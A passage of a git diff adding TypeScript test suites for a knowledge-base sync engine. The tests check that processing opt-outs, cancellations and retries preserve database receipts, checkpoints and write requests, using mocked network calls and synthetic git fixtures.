+ engine.replaceDerivedLinks = async () => { throw new Error('Synthetic graph interruption'); };
+ try {
+ expect(await connectCompanyBrain(engine, f)).toMatchObject({ ok: false, receipt: { phase: 'GRAPH' } });
+ } finally { engine.replaceDerivedLinks = replace; }
+ await claimWorktree(engine, f.sourceId, f.path);
+ const receipts = await engine.executeRaw('SELECT * FROM source_ingestion_receipts WHERE source_id=$1', [f.sourceId]);
+ const pages = await engine.executeRaw('SELECT id,knowledge_revision FROM pages WHERE source_id=$1 ORDER BY id', [f.sourceId]);
+ const checkpoints = await engine.executeRaw('SELECT * FROM op_checkpoints ORDER BY op,fingerprint');
+ await expect(performSync(engine, { sourceId: f.sourceId })).rejects.toMatchObject({ code: 'writer_coordinator_required' });
+ expect(await engine.executeRaw('SELECT * FROM source_ingestion_receipts WHERE source_id=$1', [f.sourceId])).toEqual(receipts);
+ expect(await engine.executeRaw('SELECT id,knowledge_revision FROM pages WHERE source_id=$1 ORDER BY id', [f.sourceId])).toEqual(pages);
+ expect(await engine.executeRaw('SELECT * FROM op_checkpoints ORDER BY op,fingerprint')).toEqual(checkpoints);
+ expect(await engine.executeRaw('SELECT enabled FROM persistence_brain WHERE singleton=1')).toEqual([{ enabled: false }]);
+});
+
+check('legacy company consent retry preserves the approved manifest and original terminal receipt', async engine => {
+ const f = await input(engine, true);
+ await admitCompanyBrain(engine, f);
+ const abort = new AbortController(), transaction = engine.transaction;
+ let cursorCommitted = false;
+ engine.transaction = async function<T>(this: BrainEngine, run: (tx: BrainEngine) => Promise<T>): Promise<T> {
+ const value = await transaction.call(this, run) as T;
+ if (value && typeof value === 'object' && 'runId' in value && 'sourceId' in value && value.sourceId === f.sourceId) {
+ cursorCommitted = true; abort.abort();
+ }
+ return value;
+ };
+ try {
+ expect(await resumeCompanyBrain(engine, f, { signal: abort.signal })).toMatchObject({ ok: false, receipt: { phase: 'CONTENT' } });
+ } finally { engine.transaction = transaction; }
+ expect(cursorCommitted).toBe(true);
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.sourceId])).toEqual([]);
+ const [stored] = await engine.executeRaw<{ fingerprint: string; completed_keys: any[] }>(
+ "SELECT fingerprint,completed_keys FROM op_checkpoints WHERE op='managed-sync' AND completed_keys->0->>'sourceId'=$1", [f.sourceId]);
+ const cursor = stored.completed_keys[0];
+ const [manifest] = await engine.executeRaw<{ completed_keys: any[] }>("SELECT completed_keys FROM op_checkpoints WHERE op='managed-sync-manifest' AND fingerprint=$1", [cursor.runId]);
+ const entry = manifest.completed_keys[0], requestId = randomUUID();
+ const content = readFileSync(join(f.path, entry.path), 'utf8');
+ const [source] = await engine.executeRaw<{ config: unknown }>('SELECT config FROM sources WHERE id=$1', [f.sourceId]);
+ const intent: SyncIntent = { kind: 'managed_sync_import', expected_revision: null, path: entry.path, sourcePath: entry.sourcePath,
+ content, rawHash: sha256(content), ownerEpoch: cursor.binding.owner_epoch, syncAuthority: cursor.authority, cursorKey: stored.fingerprint,
+ runId: cursor.runId, index: 0, total: cursor.total, from: cursor.from, target: cursor.target, slugMode: cursor.slugMode,
+ companyApproval: { schema: f.plan.schema!, planDigest: f.plan.plan_digest, extractorVersion: f.plan.extractor_version,
+ policyFingerprint: companyBrainPolicyFingerprint(companyBrainProfile(source.config)!, f.sourceId) } };
+ delete cursor.processingOptions;
+ cursor.pending = { requestId, slug: entry.slug, pageId: null, intent };
+ await engine.executeRaw("UPDATE op_checkpoints SET completed_keys=$2::text::jsonb WHERE op='managed-sync' AND fingerprint=$1", [stored.fingerprint, JSON.stringify([cursor])]);
+ const admission = { requestId, operation: 'submit_job', sourceId: f.sourceId, sourceIncarnation: cursor.incarnation, slug: entry.slug,
+ pageId: null, worktreeId: cursor.binding.worktree_id, topologyGeneration: cursor.binding.topology_generation,
+ principal: cursor.authority.writer.principal, authority: cursor.authority.writer, callerIntent: intent, intent };
+ await admitWrite(engine, admission);
+ expect(await performSync(engine, { sourceId: f.sourceId })).toMatchObject({ status: 'blocked_by_failures', managedWrite: { write_request: { request_id: requestId } } });
+ const failed = (await getWriteRequest(engine, admission.principal, requestId))!;
+ expect(failed.error_code).toBe('invalid_params');
+ expect(await performSync(engine, { sourceId: f.sourceId, retryFailed: true })).toMatchObject({ status: 'synced' });
+ expect((await getWriteRequest(engine, admission.principal, requestId))?.intent).toEqual(intent);
+ expect((await getWriteRequest(engine, admission.principal, requestId))?.state).toBe(failed.state);
+ expect(await engine.executeRaw("SELECT completed_keys FROM op_checkpoints WHERE op='managed-sync-manifest' AND fingerprint=$1", [cursor.runId])).toEqual([manifest]);
+ const [after] = await engine.executeRaw<{ completed_keys: any[] }>("SELECT completed_keys FROM op_checkpoints WHERE op='managed-sync' AND fingerprint=$1", [stored.fingerprint]);
+ expect(after.completed_keys[0]).toMatchObject({ runId: cursor.runId, done: true, processingOptions: { noEmbed: true, noExtract: true, noSchemaPack: false } });
+ expect(await engine.executeRaw("SELECT id FROM persistence_effects WHERE source_id=$1 AND kind='embedding'", [f.sourceId])).toEqual([]);
+});
+
+for (const phase of ['admitted', 'complete']) for (const caller of ['explicit', 'job']) {
+ check(`${caller} cancellation during a real ${phase} company profile read preserves every receipt`, async engine => {
+ const f = await input(engine, true);
+ if (phase === 'complete') {
+ expect(await connectCompanyBrain(engine, f)).toMatchObject({ ok: true, receipt: { outcome: 'complete' } });
+ await disposePersistenceConsumer(engine);
+ writeFileSync(join(f.path, 'people/operator.md'), '---\ntype: person\ntitle: Example Operator\n---\n# Example Operator\nOwns the updated synthetic account.\n');
+ (await makeGitFixture(f.path)).commitAll('Update synthetic company source');
+ } else await admitCompanyBrain(engine, f);
+ const execute = engine.executeRaw;
+ const snapshot = async () => ({
+ sources: await execute.call(engine, 'SELECT * FROM sources WHERE id=$1', [f.sourceId]),
+ receipts: await execute.call(engine, 'SELECT * FROM source_ingestion_receipts WHERE source_id=$1 ORDER BY id', [f.sourceId]),
+ pages: await execute.call(engine, 'SELECT * FROM pages WHERE source_id=$1 ORDER BY id', [f.sourceId]),
+ requests: await execute.call(engine, 'SELECT * FROM persistence_requests WHERE source_id=$1 ORDER BY id', [f.sourceId]),
+ checkpoints: await execute.call(engine, 'SELECT * FROM op_checkpoints ORDER BY op,fingerprint'),
+ effects: await execute.call(engine, 'SELECT * FROM persistence_effects WHERE source_id=$1 ORDER BY id', [f.sourceId]),
+ });
+ const before = await snapshot(), controller = new AbortController();
+ let observed = false, networkCalls = 0;
+ const fetcher = spyOn(globalThis, 'fetch').mockImplementation((async () => {
+ networkCalls++; throw new Error('Unexpected network call in company cancellation fixture');
+ }) as unknown as typeof fetch);
+ engine.executeRaw = async function(this: BrainEngine, sql, params) {
+ const rows = await execute.call(this, sql, params);
+ if (!observed && sql === 'SELECT config,incarnation FROM sources WHERE id=$1' && params?.[0] === f.sourceId) {
+ expect((rows[0] as { config: { company_brain: unknown } }).config.company_brain).toBeDefined();
+ observed = true; controller.abort(new Error('company profile fixture cancelled'));
+ }
+ return rows;
+ } as BrainEngine['executeRaw'];
+ try {
+ if (caller === 'job') {
+ await expect(withSubmissionAuthority(APPLICATION_AUTHORITY, () => performSync(engine, { sourceId: f.sourceId }), controller.signal))
+ .rejects.toMatchObject({ name: 'AbortError', message: 'company profile fixture cancelled' });
+ } else expect(await performSync(engine, { sourceId: f.sourceId, signal: controller.signal }))
+ .toMatchObject({ status: 'partial', reason: 'timeout', filesImported: 0, added: 0, modified: 0, deleted: 0 });
+ expect(observed).toBe(true);
+ expect(networkCalls).toBe(0);
+ expect(await snapshot()).toEqual(before);
+ } finally { engine.executeRaw = execute; fetcher.mockRestore(); await disposePersistenceConsumer(engine); }
+ });
+}
diff --git a/test/persistence-sync-options.serial.test.ts b/test/persistence-sync-options.serial.test.ts
new file mode 100644
index 0000000000..161be7da08
--- /dev/null
+++ b/test/persistence-sync-options.serial.test.ts
@@ -0,0 +1,812 @@
+import { afterAll, beforeAll, expect, spyOn, test } from 'bun:test';
+import { randomUUID } from 'node:crypto';
+import { execFileSync } from 'node:child_process';
+import { cpSync, mkdtempSync, mkdirSync, readFileSync, renameSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import type { BrainEngine } from '../src/core/engine.ts';
+import { PGLiteEngine } from '../src/core/pglite-engine.ts';
+import { importFromContent } from '../src/core/import-file.ts';
+import { performSync } from '../src/commands/sync.ts';
+import { acquireWorktree, claimWorktree, getWorktreeBinding } from '../src/core/persistence/ownership.ts';
+import { admitWrite, claimNextWrite, getWriteRequest } from '../src/core/persistence/journal.ts';
+import { localHostId, registerLocalWriter, revokeLocalWriter, withVerifiedLocalRegistration } from '../src/core/persistence/identity.ts';
+import { runPersistenceEffects } from '../src/core/persistence/effects.ts';
+import { performManagedSync } from '../src/core/persistence/sync-run.ts';
+import { prepareManagedSyncMutation, type SyncIntent } from '../src/core/persistence/sync-prepare.ts';
+import { disposePersistenceConsumer } from '../src/core/persistence/service.ts';
+import { sha256 } from '../src/core/persistence/digest.ts';
+import { currentSourceFilesystemSignal, withSourceFilesystemLock } from '../src/core/minions/source-filesystem.ts';
+import { managedSyncAuthority, withLegacySyncDelegation } from '../src/core/persistence/sync-authority.ts';
+import { publishMutation } from '../src/core/persistence/coordinator.ts';
+import { APPLICATION_AUTHORITY, prepareRemoteAgent, prepareRemoteJob, withSubmissionAuthority } from '../src/core/minions/submission-authority.ts';
+import type { OperationContext } from '../src/core/ops/contract.ts';
+import { __setPackLocatorForTests, _resetPackLocatorForTests } from '../src/core/schema-pack/load-active.ts';
+import { _resetPackCacheForTests } from '../src/core/schema-pack/registry.ts';
+import { isolatedPersistencePostgres } from './helpers/persistence-postgres.ts';
+import { interruptAfterSyncDiscovery } from './helpers/persistence-sync-interruption.ts';
+import { makeGitFixture } from './helpers/git-fixture.ts';
+import { withEnv } from './helpers/with-env.ts';
+
+const home = mkdtempSync(join(tmpdir(), 'gbrain-sync-options-'));
+const stores: Array<{ engine: BrainEngine; close: () => Promise<void> }> = [];
+const body = '---\ntitle: Example record\n---\nA synthetic record about durable processing consent.\n';
+const options = { noPull: true, noEmbed: true, noExtract: true, noSchemaPack: true };
+beforeAll(async () => {
+ const engine = new PGLiteEngine(); await engine.connect({}); await engine.initSchema();
+ stores.push({ engine, close: () => engine.disconnect() });
+ if (process.env.DATABASE_URL) stores.push(await isolatedPersistencePostgres(process.env.DATABASE_URL));
+}, 120_000);
+afterAll(async () => {
+ _resetPackLocatorForTests(); _resetPackCacheForTests();
+ for (const store of stores) { await disposePersistenceConsumer(store.engine); await store.close(); }
+ rmSync(home, { recursive: true, force: true });
+});
+const check = (name: string, run: (engine: BrainEngine) => Promise<void>) => test(name, () =>
+ withEnv({ GBRAIN_HOME: home, GBRAIN_SYNC_FAILURES_DIR: home, GBRAIN_SOURCE: undefined }, async () => {
+ const fetch = globalThis.fetch;
+ let networkCalls = 0;
+ globalThis.fetch = Object.assign(async () => { networkCalls++; throw new Error('Provider and connector network calls are forbidden in this fixture'); }, { preconnect: fetch.preconnect });
+ try {
+ for (const { engine } of stores) await run(engine);
+ expect(networkCalls).toBe(0);
+ } finally { globalThis.fetch = fetch; }
+ }), 120_000);
+async function fixture(engine: BrainEngine, count = 1, claim = true, parent = home) {
+ await disposePersistenceConsumer(engine);
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=false WHERE singleton=1');
+ const id = `options-${randomUUID().slice(0, 12)}`, root = join(parent, id); mkdirSync(root);
+ const git = await makeGitFixture(root);
+ mkdirSync(join(root, 'records'));
+ for (let i = 0; i < count; i++) writeFileSync(join(root, `records/example-${i}.md`), body.replace('synthetic record', `synthetic record ${i}`));
+ git.commitAll('Add synthetic processing fixture');
+ await engine.executeRaw('INSERT INTO sources(id,name,local_path) VALUES($1,$1,$2)', [id, root]);
+ if (claim) {
+ await claimWorktree(engine, id, root);
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=true WHERE singleton=1');
+ }
+ return { id, root, git, opts: { ...options, sourceId: id, repoPath: root } };
+}
+async function cursor(engine: BrainEngine, source: string) {
+ const [row] = await engine.executeRaw<{ fingerprint: string; completed_keys: any[] }>(
+ "SELECT fingerprint,completed_keys FROM op_checkpoints WHERE op='managed-sync' AND completed_keys->0->>'sourceId'=$1", [source]);
+ return { key: row.fingerprint, value: row.completed_keys[0] };
+}
+async function assertUntouched(engine: BrainEngine, f: Awaited<ReturnType<typeof fixture>>) {
+ expect(await engine.executeRaw('SELECT id FROM pages WHERE source_id=$1', [f.id])).toEqual([]);
+ expect(await engine.executeRaw('SELECT id FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual([]);
+ expect(await engine.executeRaw('SELECT id FROM persistence_effects WHERE source_id=$1', [f.id])).toEqual([]);
+ expect(await engine.executeRaw("SELECT op,fingerprint,completed_keys FROM op_checkpoints WHERE op IN ('managed-sync','managed-sync-manifest') AND (completed_keys->0->>'sourceId'=$1 OR fingerprint IN (SELECT completed_keys->0->>'runId' FROM op_checkpoints WHERE op='managed-sync' AND completed_keys->0->>'sourceId'=$1))", [f.id])).toEqual([]);
+ expect((await engine.executeRaw('SELECT last_commit,last_sync_at FROM sources WHERE id=$1', [f.id]))[0]).toEqual({ last_commit: null, last_sync_at: null });
+ expect(readFileSync(join(f.root, 'records/example-0.md'), 'utf8')).toBe(body.replace('synthetic record', 'synthetic record 0'));
+}
+
+check('noEmbed prevents effects, transport calls and vectors while the opt-in control commits all three', async engine => {
+ for (const noEmbed of [true, false]) {
+ const f = await fixture(engine);
+ await engine.executeRaw("UPDATE persistence_effects SET next_attempt_at=now()+interval '1 hour'");
+ await engine.executeRaw("ALTER TABLE persistence_effects ALTER COLUMN next_attempt_at SET DEFAULT (now()+interval '1 hour')");
+ try {
+ expect(await performManagedSync(engine, { ...f.opts, noEmbed })).toMatchObject({ status: 'first_sync', added: 1 });
+ } finally {
+ await disposePersistenceConsumer(engine);
+ await engine.executeRaw('ALTER TABLE persistence_effects ALTER COLUMN next_attempt_at SET DEFAULT now()');
+ }
+ const effects = await engine.executeRaw("SELECT kind,state FROM persistence_effects WHERE source_id=$1 AND kind='embedding'", [f.id]);
+ expect(effects).toEqual(noEmbed ? [] : [{ kind: 'embedding', state: 'queued' }]);
+ await engine.executeRaw("UPDATE persistence_effects SET next_attempt_at=now() WHERE source_id=$1 AND kind='embedding'", [f.id]);
+ let calls = 0;
+ await runPersistenceEffects(engine, { engine: engine.kind, embedding_disabled: false }, {
+ hostId: localHostId(), limit: 10,
+ embedding: { signature: 'test:model:1536', model: 'test:model', embed: async texts => {
+ calls++; return texts.map(() => new Float32Array(1536).fill(0.1));
+ } },
+ });
+ expect(calls).toBe(noEmbed ? 0 : 1);
+ const vectors = await engine.executeRaw('SELECT c.id FROM content_chunks c JOIN pages p ON p.id=c.page_id WHERE p.source_id=$1 AND c.embedding IS NOT NULL', [f.id]);
+ expect(vectors.length).toBe(noEmbed ? 0 : 1);
+ expect(await engine.executeRaw("SELECT state FROM persistence_effects WHERE source_id=$1 AND kind='embedding'", [f.id])).toEqual(noEmbed ? [] : [{ state: 'committed' }]);
+ }
+});
+
+check('noSchemaPack bypasses the configured pack and noExtract queues no optional extraction', async engine => {
+ const pack = join(home, 'fixture-pack.yaml');
+ writeFileSync(pack, `api_version: gbrain-schema-pack-v1\nname: processing-fixture\nversion: 1.0.0\ndescription: ""\ngbrain_min_version: 0.38.0\nextends: null\nborrow_from: []\npage_types:\n - name: custom-record\n primitive: entity\n path_prefixes: [records/]\n aliases: []\n extractable: false\n expert_routing: false\nlink_types: []\nfrontmatter_links: []\ntakes_kinds: [fact, take, bet, hunch]\nenrichable_types: []\nfiling_rules: []\n`);
+ await withEnv({ GBRAIN_SCHEMA_PACK: 'processing-fixture' }, async () => {
+ for (const noSchemaPack of [true, false]) {
+ _resetPackCacheForTests();
+ let loads = 0;
+ __setPackLocatorForTests(name => { loads++; return name === 'processing-fixture' ? pack : null; });
+ try {
+ const f = await fixture(engine);
+ const beforeJobs = await engine.executeRaw('SELECT id FROM minion_jobs ORDER BY id');
+ expect(await performManagedSync(engine, { ...f.opts, noSchemaPack })).toMatchObject({ status: 'first_sync', added: 1 });
+ expect(loads > 0).toBe(!noSchemaPack);
+ expect((await engine.getPage('records/example-0', { sourceId: f.id }))?.type).toBe(noSchemaPack ? 'concept' : 'custom-record');
+ expect(await engine.executeRaw("SELECT kind FROM persistence_effects WHERE source_id=$1 AND kind='facts-backstop'", [f.id])).toEqual([]);
+ expect(await engine.executeRaw('SELECT id FROM minion_jobs ORDER BY id')).toEqual(beforeJobs);
+ const [request] = await engine.executeRaw<{ intent: SyncIntent }>("SELECT intent FROM persistence_requests WHERE source_id=$1 AND intent->>'kind'='managed_sync_import'", [f.id]);
+ expect(request.intent.processingOptions).toEqual({ noEmbed: true, noSchemaPack, noExtract: true });
+ } finally { _resetPackLocatorForTests(); _resetPackCacheForTests(); }
+ }
+ });
+});
+
+check('interrupted options survive resume and changed-option retries cannot rewrite accepted work', async engine => {
+ const f = await fixture(engine, 2);
+ const first = await performManagedSync(engine, f.opts, { maxPages: 1, maxMs: 1000 });
+ expect(first).toMatchObject({ status: 'partial', filesImported: 1 });
+ const before = await cursor(engine, f.id);
+ const requests = await engine.executeRaw('SELECT id,intent FROM persistence_requests WHERE source_id=$1', [f.id]);
+ for (const key of ['noEmbed', 'noSchemaPack', 'noExtract'] as const) {
+ await expect(performManagedSync(engine, { ...f.opts, [key]: false })).rejects.toMatchObject({ code: 'invalid_params' });
+ expect(await cursor(engine, f.id)).toEqual(before);
+ expect(await engine.executeRaw('SELECT id,intent FROM persistence_requests WHERE source_id=$1', [f.id])).toEqual(requests);
+ }
+ expect(await performManagedSync(engine, f.opts)).toMatchObject({ status: 'first_sync', runId: first.runId, filesImported: 2 });
+ expect((await cursor(engine, f.id)).value.processingOptions).toEqual({ noEmbed: true, noSchemaPack: true, noExtract: true });
+ expect(await engine.executeRaw("SELECT kind FROM persistence_effects WHERE source_id=$1 AND kind IN ('embedding','facts-backstop')", [f.id])).toEqual([]);
+ const retry = await fixture(engine, 2);
+ const interrupted = await performManagedSync(engine, retry.opts, { maxPages: 1, maxMs: 1000 });
+ const original = await engine.executeRaw('SELECT id,intent FROM persistence_requests WHERE source_id=$1 ORDER BY id', [retry.id]);
+ await expect(performManagedSync(engine, { ...retry.opts, noSchemaPack: false })).rejects.toMatchObject({ code: 'invalid_params' });
+ const rediscovered = await performManagedSync(engine, { ...retry.opts, noSchemaPack: false, retryFailed: true });
+ expect(rediscovered.status).toBe('first_sync');
+ expect(rediscovered.runId).not.toBe(interrupted.runId);
+ expect((await cursor(engine, retry.id)).value.processingOptions.noSchemaPack).toBe(false);
+ expect(await engine.executeRaw('SELECT id,intent FROM persistence_requests WHERE id=ANY($1::uuid[]) ORDER BY id', [original.map(row => row.id)])).toEqual(original);
+});
+
+check('unknown legacy import consent fails under its original request and explicit retry rediscovery is required', async engine => {
+ const f = await fixture(engine);
+ expect(await interruptAfterSyncDiscovery(engine, f.opts)).toMatchObject({ status: 'partial' });
+ const c = await cursor(engine, f.id), requestId = randomUUID();
+ const path = 'records/example-0.md', content = readFileSync(join(f.root, path), 'utf8');
+ const intent: SyncIntent = { kind: 'managed_sync_import', expected_revision: null, sourcePath: path, path, rawHash: sha256(content), content,
+ ownerEpoch: c.value.binding.owner_epoch, syncAuthority: c.value.authority, cursorKey: c.key, runId: c.value.runId,
+ index: 0, total: 1, from: c.value.from, target: c.value.target, slugMode: c.value.slugMode };
+ const admission = { requestId, operation: 'submit_job', sourceId: f.id, sourceIncarnation: c.value.incarnation,
+ slug: 'records/example-0', pageId: null, worktreeId: c.value.binding.worktree_id, topologyGeneration: c.value.binding.topology_generation,
+ principal: c.value.authority.writer.principal, authority: c.value.authority.writer, callerIntent: intent, intent };
+ const next = { ...c.value, pending: { requestId, slug: admission.slug, pageId: null, intent } };
+ delete next.processingOptions;
+ await engine.executeRaw("UPDATE op_checkpoints SET completed_keys=$2::text::jsonb WHERE op='managed-sync' AND fingerprint=$1", [c.key, JSON.stringify([next])]);
+ await admitWrite(engine, admission);
+ const blocked = await performManagedSync(engine, f.opts);
+ expect(blocked).toMatchObject({ status: 'blocked_by_failures', managedWrite: { write_error: 'invalid_params', write_request: { request_id: requestId } } });
+ const failed = (await getWriteRequest(engine, admission.principal, requestId))!;
+ expect(failed.intent).toEqual(intent);
+ expect((await admitWrite(engine, admission)).id).toBe(failed.id);
+ expect((await performManagedSync(engine, f.opts)).managedWrite?.write_request).toEqual(blocked.managedWrite?.write_request);
+ expect(await engine.getPage(admission.slug, { sourceId: f.id })).toBeNull();
+ expect(await engine.executeRaw('SELECT id FROM persistence_effects WHERE source_id=$1', [f.id])).toEqual([]);
+ expect(await performManagedSync(engine, { ...f.opts, retryFailed: true })).toMatchObject({ status: 'first_sync', added: 1 });
+ expect((await getWriteRequest(engine, admission.principal, requestId))?.intent).toEqual(intent);
+ expect((await cursor(engine, f.id)).value.runId).not.toBe(c.value.runId);
+});
+
+check('claimed inactive filesystem and connector calls refuse before fetch or publication without activating', async engine => {
+ for (const kind of [null, 'github', 'google']) {
+ const f = await fixture(engine);
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=false WHERE singleton=1');
+ if (kind) await engine.executeRaw('UPDATE sources SET config=$2::text::jsonb WHERE id=$1', [f.id, JSON.stringify({ kind })]);
+ await expect(performSync(engine, f.opts)).rejects.toMatchObject({ code: 'writer_coordinator_required' });
+ await expect(performManagedSync(engine, f.opts)).rejects.toMatchObject({ code: 'writer_coordinator_required' });
+ expect(await engine.executeRaw('SELECT enabled FROM persistence_brain WHERE singleton=1')).toEqual([{ enabled: false }]);
+ await assertUntouched(engine, f);
+ }
+});
+
+check('inherited cancellation and a released filesystem context never enter the new routing path', async engine => {
+ const f = await fixture(engine, 1, false);
+ const abort = new AbortController();
+ let cancelledResult: Awaited<ReturnType<typeof performSync>> | undefined;
+ await expect(withSourceFilesystemLock(engine, f.root, async () => {
+ await claimWorktree(engine, f.id, f.root);
+ abort.abort();
+ cancelledResult = await performSync(engine, f.opts);
+ expect(cancelledResult).toMatchObject({ status: 'partial', reason: 'timeout' });
+ }, { signal: abort.signal })).rejects.toMatchObject({ name: 'AbortError' });
+ expect(cancelledResult).toMatchObject({ status: 'partial', reason: 'timeout', filesImported: 0 });
+ await assertUntouched(engine, f);
+ const released = await fixture(engine, 1, false);
+ let resume!: () => void;
+ const gate = new Promise<void>(resolve => { resume = resolve; });
+ let delayed!: Promise<unknown>;
+ await withSourceFilesystemLock(engine, released.root, async () => {
+ delayed = gate.then(() => performSync(engine, released.opts));
+ });
+ resume();
+ await expect(delayed).rejects.toMatchObject({ name: 'LockStolenError' });
+ await assertUntouched(engine, released);
+});
+
+check('old inactive sync intents and managed bypass options remain refused', async engine => {
+ const f = await fixture(engine);
+ for (const change of [{ noPull: false }, { includeGitignored: true }, { skipFailed: true }]) {
+ await expect(performManagedSync(engine, { ...f.opts, ...change })).rejects.toMatchObject({ code: 'writer_coordinator_required' });
+ }
+ await engine.transaction(async tx => {
+ await tx.executeRaw("SELECT set_config('gbrain.topology_change','on',true)");
+ await tx.executeRaw('UPDATE sources SET local_path=$2 WHERE id=$1', [f.id, home]);
+ });
+ await expect(performManagedSync(engine, { ...f.opts, repoPath: undefined })).rejects.toMatchObject({ code: 'source_changed' });
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=false WHERE singleton=1');
+ await expect(prepareManagedSyncMutation(engine, { intent: { kind: 'managed_sync_import' } } as any, { engine: engine.kind }))
+ .rejects.toMatchObject({ code: 'writer_coordinator_required' });
+ await assertUntouched(engine, f);
+});
+
+check('first and full nested source-root discovery ignore unrelated root files', async engine => {
+ const f = await fixture(engine, 1, false);
+ writeFileSync(join(f.root, 'README.md'), 'Unrelated root documentation.\n');
+ writeFileSync(join(f.root, 'a.md'), 'Unrelated short root filename.\n');
+ f.git.commitAll('Add unrelated root documentation');
+ const root = join(f.root, 'records');
+ await engine.executeRaw('UPDATE sources SET local_path=$2 WHERE id=$1', [f.id, root]);
+ await claimWorktree(engine, f.id, root);
+ await engine.executeRaw('UPDATE persistence_brain SET enabled=true WHERE singleton=1');
+ expect(await performManagedSync(engine, { ...f.opts, repoPath: root })).toMatchObject({ status: 'first_sync', added: 1 });
+ expect((await engine.getPage('example-0', { sourceId: f.id }))?.source_path).toBe('example-0.md');
+ expect(await engine.getPage('readme', { sourceId: f.id })).toBeNull();
+ expect(await performManagedSync(engine, { ...f.opts, repoPath: root, full: true })).toMatchObject({ status: 'synced', deleted: 0 });
+ expect(readFileSync(join(f.root, 'README.md'), 'utf8')).toBe('Unrelated root documentation.\n');
+ expect(readFileSync(join(f.root, 'a.md'), 'utf8')).toBe('Unrelated short root filename.\n');
+});
+
+test('fresh processes resume persisted pending opt-outs under the original request and persist synthetic vectors only for opt-in', () =>
+ withEnv({ GBRAIN_HOME: home, GBRAIN_SYNC_FAILURES_DIR: home }, async () => {
+ for (const kind of ['pglite', ...(process.env.DATABASE_URL ? ['postgres'] : [])] as const) for (const noEmbed of [true, false]) {
+ const databasePath = join(home, `restart-${kind}-${noEmbed}`);
+ let engine: BrainEngine, close: () => Promise<void>, database: string;
+ if (kind === 'postgres') {
+ ({ engine, close } = await isolatedPersistencePostgres(process.env.DATABASE_URL!));
+ const [row] = await engine.executeRaw<{ name: string }>('SELECT current_database() AS name');
+ const url = new URL(process.env.DATABASE_URL!); url.pathname = `/${row.name}`; database = url.toString();
+ } else {
+ engine = new PGLiteEngine(); await engine.connect({ database_path: databasePath }); await engine.initSchema();
+ close = () => engine.disconnect(); database = databasePath;
+ }
+ try {
+ const f = await fixture(engine);
+ await engine.executeRaw("ALTER TABLE persistence_effects ALTER COLUMN next_attempt_at SET DEFAULT (now()+interval '1 hour')");
+ const lock = await acquireWorktree((await getWorktreeBinding(engine, f.id))!);
+ expect(lock).not.toBeNull();
+ let pending: Awaited<ReturnType<typeof performManagedSync>>;
+ let frozen: Array<{ id: string; request_id: string; state: string; intent: SyncIntent }>;
+ try {
+ pending = await performManagedSync(engine, { ...f.opts, noEmbed });
+ expect(pending).toMatchObject({ status: 'partial', reason: 'writer_pending', filesImported: 0 });
+ await disposePersistenceConsumer(engine);
+ frozen = await engine.executeRaw('SELECT id,request_id,state,intent FROM persistence_requests WHERE source_id=$1 ORDER BY sequence', [f.id]);
+ expect(frozen).toHaveLength(1);
+ expect(frozen[0].state).toBe('queued');
+ expect(frozen[0].request_id).toBe(pending.managedWrite!.write_request.request_id);
+ expect(frozen[0].intent.processingOptions).toEqual({ noEmbed, noSchemaPack: true, noExtract: true });
+ expect(await engine.getPage('records/example-0', { sourceId: f.id })).toBeNull();
+ expect(await engine.executeRaw('SELECT id FROM persistence_effects WHERE source_id=$1', [f.id])).toEqual([]);
+ expect((await engine.executeRaw('SELECT last_commit FROM sources WHERE id=$1', [f.id]))[0].last_commit).toBeNull();
+ await engine.disconnect();
+ } finally { await lock?.release(); }
+ const inputPath = join(home, `restart-${kind}-${noEmbed}.json`);
+ writeFileSync(inputPath, JSON.stringify({ kind, database, sourceId: f.id, root: f.root, noEmbed }), { mode: 0o600 });
+ const child = async (mode: string) => {
+ const process = Bun.spawn([globalThis.process.execPath, '--no-env-file', join(import.meta.dir, 'fixtures/persistence-sync-options-child.ts'), inputPath, mode], {
+ cwd: home, env: { ...globalThis.process.env, GBRAIN_HOME: home, DATABASE_URL: '', GBRAIN_DATABASE_URL: '', GBRAIN_MODEL_DISCOVERY: 'off' },
+ stdin: 'ignore', stdout: 'pipe', stderr: 'pipe',
+ });
+ const [stdout, stderr, code] = await Promise.all([new Response(process.stdout).text(), new Response(process.stderr).text(), process.exited]);
+ expect({ code, stderr }).toMatchObject({ code: 0 });
+ return JSON.parse(stdout);
+ };
+ const resumed = await child('resume');
+ expect(resumed.pid).not.toBe(process.pid);
+ expect(resumed.before).toEqual(frozen!);
+ expect(resumed.changedOptions).toEqual({ code: 'invalid_params' });
+ expect(resumed.afterChangedOptions).toEqual(frozen!);
+ expect(resumed.result).toMatchObject({ status: 'first_sync', runId: pending!.runId, added: 1, filesImported: 1 });
+ expect(resumed.after).toHaveLength(2);
+ expect(resumed.after[0]).toEqual({ ...frozen![0], state: 'committed' });
+ expect(resumed.after[1]).toMatchObject({ state: 'committed', intent: { kind: 'managed_sync_checkpoint', runId: pending!.runId } });
+ expect(resumed.beforeDrain).toEqual(noEmbed ? [] : [{ kind: 'embedding', state: 'queued' }]);
+ expect(resumed.effects).toEqual(noEmbed ? [] : [{ kind: 'embedding', state: 'committed' }]);
+ expect(resumed.networkCalls).toBe(0);
+ expect(resumed.transportCalls).toBe(noEmbed ? 0 : 1);
+ expect(resumed.chunks).toHaveLength(1);
+ expect(resumed.chunks[0].vector).toBe(noEmbed ? null : `[${new Array(1536).fill(0.25).join(',')}]`);
+ expect(resumed.pages).toHaveLength(1);
+ expect(resumed.pages[0].embedding_signature).toBe(noEmbed ? null : 'test:restart:1536');
+ expect(resumed.source[0].last_commit).toBe(frozen![0].intent.target);
+ expect(resumed.source[0].last_sync_at).not.toBeNull();
+ const replayed = await child('replay');
+ expect(replayed.pid).not.toBe(resumed.pid);
+ expect(replayed.before).toEqual(resumed.after);
+ expect(replayed.result).toMatchObject({ status: 'up_to_date', added: 0 });
+ expect(replayed.after).toEqual(resumed.after);
+ expect(replayed.pages).toEqual(resumed.pages);
+ expect(replayed.chunks).toEqual(resumed.chunks);
+ expect(replayed.effects).toEqual(resumed.effects);
+ expect(replayed.transportCalls).toBe(0);
+ expect(replayed.networkCalls).toBe(0);
